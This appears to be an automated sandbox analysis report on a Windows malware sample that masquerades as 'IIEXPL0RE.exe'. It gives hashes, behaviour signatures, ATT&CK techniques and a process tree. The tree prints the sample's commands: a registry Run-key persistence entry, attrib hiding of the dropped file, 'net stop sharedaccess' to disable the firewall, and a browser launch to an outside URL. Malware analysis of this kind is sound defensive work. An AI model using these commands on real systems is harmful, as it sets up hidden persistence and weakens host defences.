cf1dc801ae837c49ed764ea0b583a762039e289fb56fbe43f18532a74b6dfd34

Analysis

max time kernel
189s
max time network
229s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
03-12-2022 20:52

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

cf1dc801ae837c49ed764ea0b583a762039e289fb56fbe43f18532a74b6dfd34.exe
Size

32KB
MD5

1ef628413fefd037f07aaff41f94d72e
SHA1

ac46289014e8eb1a8870c2ff84d65ada839111fd
SHA256

cf1dc801ae837c49ed764ea0b583a762039e289fb56fbe43f18532a74b6dfd34
SHA512

e13dc94e8f833890dd30b9730888031b699a9eb51ebbf13efc7c498cb7de48e6b9d9e122038d5367c73cd92ab5db9d3c9149c6c4e5bea913a7d0cb0cb54f9325
SSDEEP

384:JR9J8pn12m/wdynnRM144+HJBC03tqvXJTDQ3Dl9BNAb:NJOn12mognRL4+HJBd3tqv5TDMjA

Score

8^/10

evasion persistence

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
3772	IIEXPL0RE.exe

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1158

pid	Process
2052	attrib.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\??????.lnk	IIEXPL0RE.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\IIEXPL0RE = "C:\\Windows\\system\\IIEXPL0RE.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	reg.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system\IIEXPL0RE.exe	attrib.exe
File created	C:\Windows\system\temp.bat	cf1dc801ae837c49ed764ea0b583a762039e289fb56fbe43f18532a74b6dfd34.exe
File created	C:\Windows\system\IIEXPL0RE.exe	cmd.exe
File opened for modification	C:\Windows\system\IIEXPL0RE.exe	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000004e42369a1e236a448d39482e5d16ca2f000000000200000000001066000000010000200000002ab5dbc89eb0f873492f3fb207d01b65f75f66f45536afa8378fdb413fadc7da000000000e80000000020000200000009c79e4385f1a4ae5ac7223c9d850f6dfa2742cdcea9b5e4e5d97237c3e8a83d02000000048d6cd6df26b63276698c182134e93157698772005c3df0b5e3dc12c6dd1634d400000007d74812b6c69f8d2132c7639548f4986227e6ec4311eef5da34382695cad5e174d2c4783961dc22101289445a14f25d6f1f091e735193aca5058b152ba6112e4	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "377151638"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "30538211"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000004e42369a1e236a448d39482e5d16ca2f000000000200000000001066000000010000200000002013443b574ef2a4afb82491958c0cf1e0b7d240892574d62d3fc49112f0101c000000000e8000000002000020000000124900a0a8df59fad5ce0ea0021f5c981b9d836dbd991243dc59864991a4c83e20000000c8ef839d133d628ed36368d9be763fac513e043da92273ada52d627947fe553840000000a49fc2ffec7b2666c5bc16b4921b982a6b09b6b9f8ed4250851f6060bf014a2a17fa358c9ff448c5293a5bd319c079f0e889283b26a9f1282edef3c05cb83e9d	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 70113300f309d901	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31001075"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{16F8EDB8-75E6-11ED-89AC-D2371B4A40BE} = "0"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 50c3a302f309d901	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "30538211"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31001075"	IEXPLORE.EXE

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1796	reg.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4528	PING.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5080	cf1dc801ae837c49ed764ea0b583a762039e289fb56fbe43f18532a74b6dfd34.exe
5080	cf1dc801ae837c49ed764ea0b583a762039e289fb56fbe43f18532a74b6dfd34.exe
3772	IIEXPL0RE.exe
3772	IIEXPL0RE.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5080	cf1dc801ae837c49ed764ea0b583a762039e289fb56fbe43f18532a74b6dfd34.exe
Token: SeDebugPrivilege	3772	IIEXPL0RE.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
116	IEXPLORE.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
5080	cf1dc801ae837c49ed764ea0b583a762039e289fb56fbe43f18532a74b6dfd34.exe
5080	cf1dc801ae837c49ed764ea0b583a762039e289fb56fbe43f18532a74b6dfd34.exe
5080	cf1dc801ae837c49ed764ea0b583a762039e289fb56fbe43f18532a74b6dfd34.exe
116	IEXPLORE.EXE
116	IEXPLORE.EXE
2484	IEXPLORE.EXE
2484	IEXPLORE.EXE
2484	IEXPLORE.EXE
2484	IEXPLORE.EXE
3772	IIEXPL0RE.exe
3772	IIEXPL0RE.exe
3772	IIEXPL0RE.exe

Suspicious use of WriteProcessMemory 29 IoCs

description	pid	Process	procid_target
PID 5080 wrote to memory of 220	5080	cf1dc801ae837c49ed764ea0b583a762039e289fb56fbe43f18532a74b6dfd34.exe	79
PID 5080 wrote to memory of 220	5080	cf1dc801ae837c49ed764ea0b583a762039e289fb56fbe43f18532a74b6dfd34.exe	79
PID 5080 wrote to memory of 220	5080	cf1dc801ae837c49ed764ea0b583a762039e289fb56fbe43f18532a74b6dfd34.exe	79
PID 220 wrote to memory of 116	220	IEXPLORE.EXE	80
PID 220 wrote to memory of 116	220	IEXPLORE.EXE	80
PID 116 wrote to memory of 2484	116	IEXPLORE.EXE	81
PID 116 wrote to memory of 2484	116	IEXPLORE.EXE	81
PID 116 wrote to memory of 2484	116	IEXPLORE.EXE	81
PID 5080 wrote to memory of 3656	5080	cf1dc801ae837c49ed764ea0b583a762039e289fb56fbe43f18532a74b6dfd34.exe	82
PID 5080 wrote to memory of 3656	5080	cf1dc801ae837c49ed764ea0b583a762039e289fb56fbe43f18532a74b6dfd34.exe	82
PID 5080 wrote to memory of 3656	5080	cf1dc801ae837c49ed764ea0b583a762039e289fb56fbe43f18532a74b6dfd34.exe	82
PID 3656 wrote to memory of 4528	3656	cmd.exe	84
PID 3656 wrote to memory of 4528	3656	cmd.exe	84
PID 3656 wrote to memory of 4528	3656	cmd.exe	84
PID 3656 wrote to memory of 1796	3656	cmd.exe	85
PID 3656 wrote to memory of 1796	3656	cmd.exe	85
PID 3656 wrote to memory of 1796	3656	cmd.exe	85
PID 3656 wrote to memory of 2052	3656	cmd.exe	86
PID 3656 wrote to memory of 2052	3656	cmd.exe	86
PID 3656 wrote to memory of 2052	3656	cmd.exe	86
PID 3656 wrote to memory of 3772	3656	cmd.exe	87
PID 3656 wrote to memory of 3772	3656	cmd.exe	87
PID 3656 wrote to memory of 3772	3656	cmd.exe	87
PID 3772 wrote to memory of 4280	3772	IIEXPL0RE.exe	88
PID 3772 wrote to memory of 4280	3772	IIEXPL0RE.exe	88
PID 3772 wrote to memory of 4280	3772	IIEXPL0RE.exe	88
PID 4280 wrote to memory of 4536	4280	net.exe	90
PID 4280 wrote to memory of 4536	4280	net.exe	90
PID 4280 wrote to memory of 4536	4280	net.exe	90

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
2052	attrib.exe

C:\Users\Admin\AppData\Local\Temp\cf1dc801ae837c49ed764ea0b583a762039e289fb56fbe43f18532a74b6dfd34.exe
"C:\Users\Admin\AppData\Local\Temp\cf1dc801ae837c49ed764ea0b583a762039e289fb56fbe43f18532a74b6dfd34.exe"
1⤵
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5080
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" "http://blogblog.w07.08host.com/post.asp?id=158 30 44 95 50 105 122 66 34 52 244 46 "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:220
- - C:\Program Files\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files\Internet Explorer\IEXPLORE.EXE" "http://blogblog.w07.08host.com/post.asp?id=158 30 44 95 50 105 122 66 34 52 244 46 "
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:116
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:116 CREDAT:17410 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:2484
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Windows\system\temp.bat
  2⤵
  - Drops file in Windows directory
  - Suspicious use of WriteProcessMemory
  PID:3656
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.1
    3⤵
    - Runs ping.exe
    PID:4528
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v IIEXPL0RE /d C:\Windows\system\IIEXPL0RE.exe /f
    3⤵
    - Adds Run key to start application
    - Modifies registry key
    PID:1796
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h "C:\Windows\system\IIEXPL0RE.exe"
    3⤵
    - Sets file to hidden
    - Drops file in Windows directory
    - Views/modifies file attributes
    PID:2052
- - C:\Windows\system\IIEXPL0RE.exe
    "C:\Windows\system\IIEXPL0RE.exe"
    3⤵
    - Executes dropped EXE
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3772
  - - C:\Windows\SysWOW64\net.exe
      net stop sharedaccess
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4280
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop sharedaccess
        5⤵
        
        PID:4536

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Hidden Files and Directories

T1158

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Hidden Files and Directories

T1158

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\System\IIEXPL0RE.exe

Filesize
32KB

MD5
1ef628413fefd037f07aaff41f94d72e

SHA1
ac46289014e8eb1a8870c2ff84d65ada839111fd

SHA256
cf1dc801ae837c49ed764ea0b583a762039e289fb56fbe43f18532a74b6dfd34

SHA512
e13dc94e8f833890dd30b9730888031b699a9eb51ebbf13efc7c498cb7de48e6b9d9e122038d5367c73cd92ab5db9d3c9149c6c4e5bea913a7d0cb0cb54f9325

Download Submit
C:\Windows\system\IIEXPL0RE.exe

Filesize
32KB

MD5
1ef628413fefd037f07aaff41f94d72e

SHA1
ac46289014e8eb1a8870c2ff84d65ada839111fd

SHA256
cf1dc801ae837c49ed764ea0b583a762039e289fb56fbe43f18532a74b6dfd34

SHA512
e13dc94e8f833890dd30b9730888031b699a9eb51ebbf13efc7c498cb7de48e6b9d9e122038d5367c73cd92ab5db9d3c9149c6c4e5bea913a7d0cb0cb54f9325

Download Submit
C:\Windows\system\temp.bat

Filesize
478B

MD5
3dd4fee1ac61dbaad7381e669a71fb81

SHA1
8ea66256e673d1068ce42dc099167187fe93a54b

SHA256
6c72c6eb3178cfae91293092641e135b74dc23f12c98a30c02c4e8f7156bcdc1

SHA512
53284df289821e573169a7411f5c4f8d7b29270b08e229d1031c6e382549fc9ecf88f7bfbc2c956573399c5906feaa00d9e4264c67c9fd6abc1aa718dee59df8

Download Submit